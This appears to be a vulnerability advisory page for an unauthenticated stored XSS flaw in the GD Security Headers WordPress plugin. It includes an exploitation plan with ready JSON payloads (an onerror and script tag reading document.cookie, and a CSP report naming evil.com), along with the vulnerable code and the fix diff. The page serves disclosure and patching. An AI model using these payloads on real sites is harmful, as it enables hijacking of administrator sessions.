CVE-2026-57403

GD Security Headers <= 1.8 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.9
Patched in
7d
Time to patch

Description

The GD Security Headers plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8
PublishedJuly 8, 2026
Last updatedJuly 14, 2026
Affected plugingd-security-headers

What Changed in the Fix

Changes introduced in v1.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-57403 ## 1. Vulnerability Summary The **GD Security Headers** plugin for WordPress (versions <= 1.8) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The plugin provides endpoints to receive and log Content Security Policy (CSP) an…

Show full research plan

Exploitation Research Plan - CVE-2026-57403

1. Vulnerability Summary

The GD Security Headers plugin for WordPress (versions <= 1.8) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The plugin provides endpoints to receive and log Content Security Policy (CSP) and X-XSS-Protection (XXP) violation reports from browsers. These endpoints fail to sufficiently sanitize the incoming JSON data and, more critically, the admin dashboard fails to escape this data when displaying it in the report logs. An attacker can send a forged report containing a malicious script, which will execute in the context of an administrator viewing the reports.

2. Attack Vector Analysis

  • Endpoint: Any frontend page (triggered via template_redirect hook).
  • Trigger Parameter: A GET parameter named gdsih-csp-report or gdsih-xxp-report.
  • Payload Delivery: A POST request with a JSON-encoded body containing the report data.
  • Vulnerable Hook: template_redirect calling gdsih_component_xxp::log() or gdsih_component_csp::log().
  • Authentication: None (Unauthenticated).
  • Preconditions: The "Log Reports" setting for either CSP or XXP must be enabled in the plugin settings.

3. Code Flow

  1. Entry Point (Ingestion):

    • The class gdsih_component_xxp (in core/objects/core.xxp.php) registers a listener on template_redirect.
    • The log() method checks for isset( $_GET['gdsih-xxp-report'] ).
    • It reads the raw POST body using file_get_contents( 'php://input' ) and decodes it as JSON.
    • It passes the xss-report object to the event() method.
    • event() applies d4p_sanitize_basic (a likely weak sanitization function) to the array and calls gdsih_db()->xxp_report().
    • The data is stored in the database (likely the {wp_prefix}gdsih_xxp_reports table).
  2. Sink (Display):

    • When an admin views the reports at admin.php?page=gd-security-headers-xxp-reports, the class gdsih_xxp_report_grid (in core/grids/xxp.php) processes the data.
    • The column_data() method (line ~198) iterates through the keys user_agent and request_body.
    • Vulnerable Line: $content .= '<tr><td>' . $key . '</td><td>' . $item->$key . '</td></tr>';
    • The value of $item->request_body is echoed directly into the HTML table without any escaping (esc_html, etc.).

4. Nonce Acquisition Strategy

No nonce is required.
The reporting endpoints are designed to receive automated browser pings (CSP/XSS violation reports), which by specification do not include WordPress nonces. The log() functions in core/objects/core.csp.php and core/objects/core.xxp.php do not perform any authentication or nonce verification.

5. Exploitation Strategy

The exploit involves sending a crafted JSON report to the XXP reporting endpoint.

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/?gdsih-xxp-report
  • Headers: Content-Type: application/json
  • Payload:
{
  "xss-report": {
    "request-url": "https://example.com/vulnerable-page",
    "request-body": "<img src=x onerror=alert(`XSS_EXPLOITED`)><script>console.log(document.cookie)</script>"
  }
}

Step-by-step Execution:

  1. Enable the XXP logging feature (see Test Data Setup).
  2. Send the POST request using the payload above.
  3. The server should return a 204 No Content response (as per http_response_code( 204 ) in log()).
  4. Log in as an administrator and navigate to the XXP reports page.
  5. Click on the "View All Data" link for the new entry to trigger the rendering of the request_body and execute the XSS.

6. Test Data Setup

Before exploitation, logging must be enabled. Since this is an admin setting, use WP-CLI to force it:

# Enable XXP logging via WP-CLI
wp eval "gdsih_settings()->set('log', true, 'xxp'); gdsih_settings()->save('xxp');"

# Clear existing reports to ensure a clean test
wp db query "TRUNCATE TABLE \$(wp db prefix)gdsih_csp_reports"
wp db query "TRUNCATE TABLE \$(wp db prefix)gdsih_xxp_reports"

7. Expected Results

  • The http_request to /?gdsih-xxp-report returns HTTP 204.
  • A new record appears in the database in the reports table.
  • When the admin views the report grid at /wp-admin/admin.php?page=gd-security-headers-xxp-reports and clicks "View All Data", an alert box with "XSS_EXPLOITED" appears.

8. Verification Steps

After sending the payload, verify the database entry using WP-CLI:

# Check if the payload is stored in the database
wp db query "SELECT request_body FROM \$(wp db prefix)gdsih_xxp_reports ORDER BY id DESC LIMIT 1"

The output should contain the raw <img ...> or <script> tag.

9. Alternative Approaches

If the xxp-report endpoint is disabled or patched, the CSP report endpoint is equally vulnerable:

  • URL: /?gdsih-csp-report
  • Payload:
{
  "csp-report": {
    "document-uri": "https://example.com/",
    "blocked-uri": "https://evil.com/malicious.js",
    "violated-directive": "script-src",
    "effective-directive": "script-src",
    "referrer": "<script>alert('CSP_XSS')</script>",
    "original-policy": "default-src 'self'"
  }
}

The referrer field is handled by column_data in core/grids/csp.php in the same unescaped manner.

Research Findings
Static analysis — not yet PoC-verified

Summary

The GD Security Headers plugin for WordPress is vulnerable to unauthenticated stored cross-site scripting (XSS) due to insufficient input sanitization and output escaping of browser violation reports. Attackers can forge Content Security Policy (CSP) or X-XSS-Protection (XXP) reports containing malicious scripts, which are executed when an administrator views the reports in the plugin's dashboard.

Vulnerable Code

// core/objects/core.xxp.php
private function event( $csp ) {
	$report = array_map( 'd4p_sanitize_basic', $csp );

	gdsih_db()->xxp_report( array(
		'request_url'  => $report['request-url'],
		'request_body' => $report['request-body'],
	) );
}

---

// core/grids/xxp.php (around line 183)
foreach ( $keys as $key ) {
	if ( isset( $item->$key ) ) {
		$content .= '<tr><td>' . $key . '</td><td>' . $item->$key . '</td></tr>';
	}
}

---

// core/grids/csp.php (around line 284)
protected function column_default( $item, $column_name ) {
	return $item->$column_name;
}

Security Fix

Only in /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.9: changelog.md
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.8/core/build.php /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.9/core/build.php
--- /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.8/core/build.php	2024-06-07 08:16:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.9/core/build.php	2026-05-12 14:57:18.000000000 +0000
@@ -1 +1 @@
-<?php $build = 65;
+<?php $build = 70;
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.8/core/grids/csp.php /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.9/core/grids/csp.php
--- /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.8/core/grids/csp.php	2024-06-07 08:16:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.9/core/grids/csp.php	2026-05-12 14:57:18.000000000 +0000
@@ -216,11 +216,11 @@
 		$keys = array( 'referrer', 'user_agent', 'original_policy' );
 
 		if ( isset( $item->referrer ) && $item->referrer != '' ) {
-			$show[] = '<abbr title="' . $item->referrer . '">' . __( 'Referer', 'gd-security-headers' ) . '</abbr>';
+			$show[] = '<abbr title="' . esc_attr( $item->referrer ) . '">' . __( 'Referer', 'gd-security-headers' ) . '</abbr>';
 		}
 
 		if ( isset( $item->user_agent ) && $item->user_agent != '' ) {
-			$show[] = '<abbr title="' . $item->user_agent . '">' . __( 'User Agent', 'gd-security-headers' ) . '</abbr>';
+			$show[] = '<abbr title="' . esc_attr( $item->user_agent ) . '">' . __( 'User Agent', 'gd-security-headers' ) . '</abbr>';
 		}
 
 		$content = empty( $show ) ? '' : '<br/>';
@@ -235,7 +235,7 @@
 
 		foreach ( $keys as $key ) {
 			if ( isset( $item->$key ) ) {
-				$content .= '<tr><td>' . $key . '</td><td>' . $item->$key . '</td></tr>';
+				$content .= '<tr><td>' . esc_html( $key ) . '</td><td>' . esc_html( $item->$key ) . '</td></tr>';
 			}
 		}
 
@@ -270,7 +270,7 @@
 			$title  .= ' ' . __( 'Your server IP.', 'gd-security-headers' );
 		}
 
-		$content = sprintf( '<span title="%s" class="gdsih-ip-%s">%s</span>', trim( $title ), $status, $item->ip );
+		$content = sprintf( '<span title="%s" class="gdsih-ip-%s">%s</span>', trim( $title ), $status, esc_html( $item->ip ) );
 
 		return $content . $this->row_actions( $actions );
 	}
@@ -282,7 +282,7 @@
 	}
 
 	protected function column_default( $item, $column_name ) {
-		return $item->$column_name;
+		return esc_html( $item->$column_name );
 	}
 
 	public function prepare_items() {
@@ -304,18 +304,18 @@
 		$search = isset( $_GET['s'] ) && $_GET['s'] != '' ? sanitize_text_field( $_GET['s'] ) : '';
 
 		if ( $violated_directive != '0' ) {
-			$where[] = "l.`violated_directive` = '$violated_directive'";
+			$where[] = gdsih_db()->prepare( "l.`violated_directive` = %s", $violated_directive );
 		}
 
 		if ( $effective_directive != '0' ) {
-			$where[] = "l.`effective_directive` = '$effective_directive'";
+			$where[] = gdsih_db()->prepare( "l.`effective_directive` = %s", $effective_directive );
 		}
 
 		if ( ! empty( $search ) ) {
 			$_search = array();
 
 			foreach ( $this->_search_through_fields as $field ) {
-				$_search[] = "`" . $field . "` LIKE '%" . $search . "%'";
+				$_search[] = gdsih_db()->prepare( "`" . $field . "` LIKE %s", '%' . $search . '%' );
 			}
 
 			$where[] = '(' . join( ' OR ', $_search ) . ')';
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.8/core/grids/xxp.php /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.9/core/grids/xxp.php
--- /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.8/core/grids/xxp.php	2024-06-07 08:16:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.9/core/grids/xxp.php	2026-05-12 14:57:18.000000000 +0000
@@ -165,7 +165,7 @@
 		$keys = array( 'user_agent', 'request_body' );
 
 		if ( isset( $item->user_agent ) && $item->user_agent != '' ) {
-			$show[] = '<abbr title="' . $item->user_agent . '">' . __( 'User Agent', 'gd-security-headers' ) . '</abbr>';
+			$show[] = '<abbr title="' . esc_attr( $item->user_agent ) . '">' . __( 'User Agent', 'gd-security-headers' ) . '</abbr>';
 		}
 
 		$content = empty( $show ) ? '' : '<br/>';
@@ -180,7 +180,7 @@
 
 		foreach ( $keys as $key ) {
 			if ( isset( $item->$key ) ) {
-				$content .= '<tr><td>' . $key . '</td><td>' . $item->$key . '</td></tr>';
+				$content .= '<tr><td>' . esc_html( $key ) . '</td><td>' . esc_html( $item->$key ) . '</td></tr>';
 			}
 		}
 
@@ -215,7 +215,7 @@
 			$title  .= ' ' . __( 'Your server IP.', 'gd-security-headers' );
 		}
 
-		$content = sprintf( '<span title="%s" class="gdsih-ip-%s">%s</span>', trim( $title ), $status, $item->ip );
+		$content = sprintf( '<span title="%s" class="gdsih-ip-%s">%s</span>', trim( $title ), $status, esc_html( $item->ip ) );
 
 		return $content . $this->row_actions( $actions );
 	}
@@ -227,7 +227,7 @@
 	}
 
 	protected function column_default( $item, $column_name ) {
-		return $item->$column_name;
+		return esc_html( $item->$column_name );
 	}
 
 	public function prepare_items() {
@@ -242,14 +242,14 @@
 
 		$where = array();
 
-		$last   = isset( $_GET['filter-period'] ) && ! empty( $_GET['filter-period'] ) ? d4p_sanitize_slug( $_GET['filter-period'] ) : '';
+		$last   = ! empty( $_GET['filter-period'] ) ? d4p_sanitize_slug( $_GET['filter-period'] ) : '';
 		$search = isset( $_GET['s'] ) && $_GET['s'] != '' ? sanitize_text_field( $_GET['s'] ) : '';
 
 		if ( ! empty( $search ) ) {
 			$_search = array();
 
 			foreach ( $this->_search_through_fields as $field ) {
-				$_search[] = "`" . $field . "` LIKE '%" . $search . "%'";
+				$_search[] = gdsih_db()->prepare( "`" . $field . "` LIKE %s", '%' . $search . '%' );
 			}
 
 			$where[] = '(' . join( ' OR ', $_search ) . ')';
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.8/core/objects/core.csp.php /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.9/core/objects/core.csp.php
--- /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.8/core/objects/core.csp.php	2024-06-07 08:16:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.9/core/objects/core.csp.php	2026-05-12 14:57:18.000000000 +0000
@@ -49,11 +49,11 @@
 		$report = array_map( 'd4p_sanitize_basic', $csp );
 
 		gdsih_db()->csp_report( array(
-			'document_uri'        => $report['document-uri'],
-			'blocked_uri'         => $report['blocked-uri'],
-			'referrer'            => $report['referrer'],
-			'violated_directive'  => $report['violated-directive'],
-			'effective_directive' => $report['effective-directive'] ?? '',
+			'document_uri'        => sanitize_text_field( $report['document-uri'] ),
+			'blocked_uri'         => sanitize_text_field( $report['blocked-uri'] ),
+			'referrer'            => sanitize_text_field( $report['referrer'] ),
+			'violated_directive'  => sanitize_text_field( $report['violated-directive'] ),
+			'effective_directive' => sanitize_text_field( $report['effective-directive'] ?? '' ),
 			'original_policy'     => gdsih_settings()->get( 'log_original_policy', 'csp' ) ? $report['original-policy'] : '',
 		) );
 	}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.8/core/objects/core.xxp.php /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.9/core/objects/core.xxp.php
--- /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.8/core/objects/core.xxp.php	2024-06-07 08:16:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/gd-security-headers/1.9/core/objects/core.xxp.php	2026-05-12 14:57:18.000000000 +0000
@@ -68,8 +68,8 @@
 		$report = array_map( 'd4p_sanitize_basic', $csp );
 
 		gdsih_db()->xxp_report( array(
-			'request_url'  => $report['request-url'],
-			'request_body' => $report['request-body'],
+			'request_url'  => sanitize_text_field( $report['request-url'] ),
+			'request_body' => sanitize_text_field( $report['request-body'] ),
 		) );
 	}
 }

Exploit Outline

The exploit involves sending a crafted JSON report to the unauthenticated report ingestion endpoints of the GD Security Headers plugin. By sending a POST request to the site root with either the `gdsih-csp-report` or `gdsih-xxp-report` query parameter, an attacker can provide a JSON body containing a malicious script in fields like `referrer` or `request-body`. If the plugin has logging enabled for CSP or XXP violations, it will store this data in the database with insufficient sanitization. When a WordPress administrator navigates to the plugin's report logs in the admin dashboard (e.g., `admin.php?page=gd-security-headers-xxp-reports`) and views the entry, the malicious script is rendered directly into the HTML without escaping, executing in the administrator's context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.